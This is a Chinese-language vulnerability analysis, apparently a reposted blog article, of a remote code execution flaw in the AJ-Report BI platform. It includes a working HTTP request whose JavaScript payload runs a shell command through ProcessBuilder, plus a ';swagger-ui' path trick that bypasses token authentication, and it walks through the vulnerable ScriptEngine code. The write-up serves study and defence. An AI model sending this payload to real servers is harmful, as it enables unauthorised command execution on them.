AJ-Report代码执行漏洞分析

渗透技巧 7个月前 admin
115 0 0

AJ-Report代码执行漏洞分析

AJ-Report是全开源的一个BI平台,酷炫大屏展示,能随时随地掌控业务动态,让每个决策都有数据支撑

DataSetParamController 中verification 方法未对传入的参数进行过滤,可以执行JavaScript函数,导致命令执行漏洞。

环境搭建

将源码下并使用IDEA打开

git clone https://gitee.com/anji-plus/report.git 
AJ-Report代码执行漏洞分析

配置mysql

创建数据 aj_report ,数据库sql文件在resources/db.migration 目录下

AJ-Report代码执行漏洞分析

配置文件存储路径

AJ-Report代码执行漏洞分析

漏洞复现

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1 Host: 192.168.0.100:9095 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Content-Type: application/json;charset=UTF-8 Connection: close  {"sampleItem":"1","validationRules":"function verification(data){a = new java.lang.ProcessBuilder("whoami").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"} 
AJ-Report代码执行漏洞分析
AJ-Report代码执行漏洞分析

代码分析

漏洞路径

reportreport-coresrcmainjavacomanjiplustemplategaeabusinessmodulesdatasetparamcontrollerDataSetParamController.java

verification

    @PostMapping("/verification")     public ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) {         DataSetParamDto dto = new DataSetParamDto();         dto.setSampleItem(param.getSampleItem());         dto.setValidationRules(param.getValidationRules());         return responseSuccessWithData(dataSetParamService.verification(dto));     } 

param 接受传入的值

@Data public class DataSetParamValidationParam implements Serializable {      /** 参数示例项 */     @NotBlank(message = "sampleItem not empty")     private String sampleItem;       /** js校验字段值规则,满足校验返回 true */     @NotBlank(message = "validationRules not empty")     private String validationRules; } 

需要接受的参数 sampleItem ,validationRules

并将这个参数传入dataSetParamService.verification(dto)

AJ-Report代码执行漏洞分析

DataSetParamServiceImpl.java

该类中实现了 verification 方法

  package com.anjiplus.template.gaea.business.modules.datasetparam.service.impl;  import com.anji.plus.gaea.curd.mapper.GaeaBaseMapper; import com.anji.plus.gaea.exception.BusinessExceptionBuilder; import com.anjiplus.template.gaea.business.modules.datasetparam.controller.dto.DataSetParamDto; import com.anjiplus.template.gaea.business.modules.datasetparam.dao.DataSetParamMapper; import com.anjiplus.template.gaea.business.modules.datasetparam.dao.entity.DataSetParam; import com.anjiplus.template.gaea.business.modules.datasetparam.service.DataSetParamService; import com.anjiplus.template.gaea.business.modules.datasetparam.util.ParamsResolverHelper; import com.anjiplus.template.gaea.business.code.ResponseCode; import com.fasterxml.jackson.databind.ObjectMapper; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service;  import javax.script.Invocable; import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; import java.util.HashMap; import java.util.List; import java.util.Map;  /** @desc DataSetParam 数据集动态参数服务实现 @author Raod @date 2021-03-18 12:12:33.108033200 **/ @Service //@RequiredArgsConstructor @Slf4j public class DataSetParamServiceImpl implements DataSetParamService {      private ScriptEngine engine;     {         ScriptEngineManager manager = new ScriptEngineManager();         engine = manager.getEngineByName("JavaScript");     }      @Autowired     private DataSetParamMapper dataSetParamMapper;      @Override     public GaeaBaseMapper<DataSetParam> getMapper() {       return dataSetParamMapper;     }      /**      * 参数替换      *      * @param contextData      * @param dynSentence      * @return      */     @Override     public String transform(Map<String, Object> contextData, String dynSentence) {         if (StringUtils.isBlank(dynSentence)) {             return dynSentence;         }         if (dynSentence.contains("${")) {             dynSentence = ParamsResolverHelper.resolveParams(contextData, dynSentence);         }         if (dynSentence.contains("${")) {             throw BusinessExceptionBuilder.build(ResponseCode.INCOMPLETE_PARAMETER_REPLACEMENT_VALUES, dynSentence);         }         return dynSentence;     }      /**      * 参数替换      *      * @param dataSetParamDtoList      * @param dynSentence      * @return      */     @Override     public String transform(List<DataSetParamDto> dataSetParamDtoList, String dynSentence) {         Map<String, Object> contextData = new HashMap<>();         if (null == dataSetParamDtoList || dataSetParamDtoList.size() <= 0) {             return dynSentence;         }         dataSetParamDtoList.forEach(dataSetParamDto -> {             contextData.put(dataSetParamDto.getParamName(), dataSetParamDto.getSampleItem());         });         return transform(contextData, dynSentence);     }      /**      * 参数校验  js脚本      *      * @param dataSetParamDto      * @return      */     @Override     public Object verification(DataSetParamDto dataSetParamDto) {          String validationRules = dataSetParamDto.getValidationRules();         if (StringUtils.isNotBlank(validationRules)) {             try {                 engine.eval(validationRules);                 if(engine instanceof Invocable){                     Invocable invocable = (Invocable) engine;                     Object exec = invocable.invokeFunction("verification", dataSetParamDto);                     ObjectMapper objectMapper = new ObjectMapper();                     if (exec instanceof Boolean) {                         return objectMapper.convertValue(exec, Boolean.class);                     }else {                         return objectMapper.convertValue(exec, String.class);                     }                  }              } catch (Exception ex) {                 throw BusinessExceptionBuilder.build(ResponseCode.EXECUTE_JS_ERROR, ex.getMessage());             }          }         return true;     }      /**      * 参数校验  js脚本      *      * @param dataSetParamDtoList      * @return      */     @Override     public boolean verification(List<DataSetParamDto> dataSetParamDtoList, Map<String, Object> contextData) {         if (null == dataSetParamDtoList || dataSetParamDtoList.size() == 0) {             return true;         }          for (DataSetParamDto dataSetParamDto : dataSetParamDtoList) {             if (null != contextData) {                 String value = contextData.getOrDefault(dataSetParamDto.getParamName(), "").toString();                 dataSetParamDto.setSampleItem(value);             }              Object verification = verification(dataSetParamDto);             if (verification instanceof Boolean) {                 if (!(Boolean) verification) {                     return false;                 }             }else {                 //将得到的值重新赋值给contextData                 if (null != contextData) {                     contextData.put(dataSetParamDto.getParamName(), verification);                 }                 dataSetParamDto.setSampleItem(verification.toString());             }          }         return true;     }  }  
verification
   @Override     public Object verification(DataSetParamDto dataSetParamDto) {          String validationRules = dataSetParamDto.getValidationRules();         if (StringUtils.isNotBlank(validationRules)) {             try {                 engine.eval(validationRules);                 if(engine instanceof Invocable){                     Invocable invocable = (Invocable) engine;                     Object exec = invocable.invokeFunction("verification", dataSetParamDto);                     ObjectMapper objectMapper = new ObjectMapper();                     if (exec instanceof Boolean) {                         return objectMapper.convertValue(exec, Boolean.class);                     }else {                         return objectMapper.convertValue(exec, String.class);                     }                  }              } catch (Exception ex) {                 throw BusinessExceptionBuilder.build(ResponseCode.EXECUTE_JS_ERROR, ex.getMessage());             }          }         return true;     } 
    private ScriptEngine engine;     {         ScriptEngineManager manager = new ScriptEngineManager();         engine = manager.getEngineByName("JavaScript");     } 

engine.eval(validationRules): 这行代码使用了一个 engine是 ScriptEngine 的一个实例,来执行传入的 validationRules 字符串,即执行一段 JavaScript 代码。

if(engine instanceof Invocable) 这里检查 engine 是否是 Invocable 接口的实例,如果是,表示这个引擎可以调用 JavaScript 函数。

invocable.invokeFunction("verification", dataSetParamDto): 如果引擎可以调用,就调用名为 "verification" 的 JavaScript 函数,并传入一个 dataSetParamDto 对象作为参数。

ObjectMapper objectMapper = new ObjectMapper(): 创建了一个ObjectMapper对象,用于处理 JSON 数据。

 if (exec instanceof Boolean) {     return objectMapper.convertValue(exec, Boolean.class);   }else {      return objectMapper.convertValue(exec, String.class);  } 

根据 exec 对象的类型进行处理,如果是布尔类型,则将其转换为 Java 中的 Boolean 类型;否则转换为 String 类型。

return objectMapper.convertValue(...): 最后,根据 exec 的类型,使用 ObjectMapper 将其转换成相应的 Java 类型,并返回结果。

debug 调试

下断点

AJ-Report代码执行漏洞分析

validationRules 值为JavaScript 代码

调用了ScriptEngineManager eval执行JavaScript 代码

AJ-Report代码执行漏洞分析

权限验证

正常访问 /dataSetParam/verification 路由是需要token验证

AJ-Report代码执行漏洞分析

搜索 The Token has expired

AJ-Report代码执行漏洞分析

TokenFilter.java

TokenFilter拦截器中,放行swagger-uiswagger-resources

if (uri.contains("swagger-ui") || uri.contains("swagger-resources")) {     filterChain.doFilter(request, response);     return; } 
AJ-Report代码执行漏洞分析

使用URL截断绕过 ;

swagger-uiswagger-resources

POST /dataSetParam/verification;swagger-ui HTTP/1.1  POST /dataSetParam/verification;swagger-resources HTTP/1.1 
AJ-Report代码执行漏洞分析
AJ-Report代码执行漏洞分析
AJ-Report代码执行漏洞分析

总结

  • verification方法传入参数validationRules,调用了ScriptEngineManager eval执行JavaScript 代码,导致的代码执行漏洞。

  • 使用; 绕过鉴权


原文始发于微信公众号(安全逐梦人):AJ-Report代码执行漏洞分析

版权声明:admin 发表于 2024年5月4日 下午4:53。
转载请注明:AJ-Report代码执行漏洞分析 | CTF导航

相关文章